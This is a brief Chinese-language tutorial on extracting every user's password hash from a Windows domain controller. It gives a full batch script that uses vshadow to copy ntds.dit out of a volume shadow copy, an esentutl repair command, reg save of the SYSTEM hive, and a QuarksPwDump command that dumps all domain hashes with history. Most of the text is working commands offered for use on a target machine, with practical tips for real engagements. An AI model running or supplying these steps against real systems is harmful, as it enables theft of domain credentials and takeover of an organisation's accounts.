完整导出域内用户hash小记 [vshadow + ShadowCopy + QuarksPwDump]



利用vsshadow [ 微软的卷影拷贝工具 ],来复制出ntds.dit,从而导出域内所有用户hash,本地虽然没问题,但实际测试中有时候会不好使

第一步:将三个工具都传到目标机器的同一目录下

1
vshadow.exe + ShadowCopy.bat + QuarksPwDump.exe

shadowcopy.cat:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
setlocal
if NOT "%CALLBACK_SCRIPT%"=="" goto :IS_CALLBACK
set SOURCE_DRIVE_LETTER=%SystemDrive%
set SOURCE_RELATIVE_PATH=\windows\ntds\ntds.dit
set DESTINATION_PATH=%~dp0
@echo ...Determine the scripts to be executed/generated...
set CALLBACK_SCRIPT=%~dpnx0
set TEMP_GENERATED_SCRIPT=GeneratedVarsTempScript.cmd
@echo ...Creating the shadow copy...
"%~dp0vshadow.exe" -script=%TEMP_GENERATED_SCRIPT% -exec="%CALLBACK_SCRIPT%" %SOURCE_DRIVE_LETTER%
del /f %TEMP_GENERATED_SCRIPT%
@goto :EOF
:IS_CALLBACK
setlocal
@echo ...Obtaining the shadow copy device name...
call %TEMP_GENERATED_SCRIPT%
@echo ...Copying from the shadow copy to the destination path...
copy "%SHADOW_DEVICE_1%\%SOURCE_RELATIVE_PATH%" %DESTINATION_PATH%




第二步:然后以管理员权限运行ShadowCopy.bat脚本,之后提取的ntds.dit会被复制到当前目录,利用esentutl工具修复ntds.dit文件

1
esentutl /p /o ntds.dit


第三步:利用QuarksPwDump 读取修复后的ntds.dit文件,导出域内所有账户hash

1
2
reg save hklm\system system.hive 同样还是先导出syskey
QuarksPwDump.exe --dump-hash-domain --with-history --ntds-file c:\ntds.dit --system-file c:\system.hive -o c:\res.txt 一定要注意这里要给绝对路径,选项参数之间只能有一个空格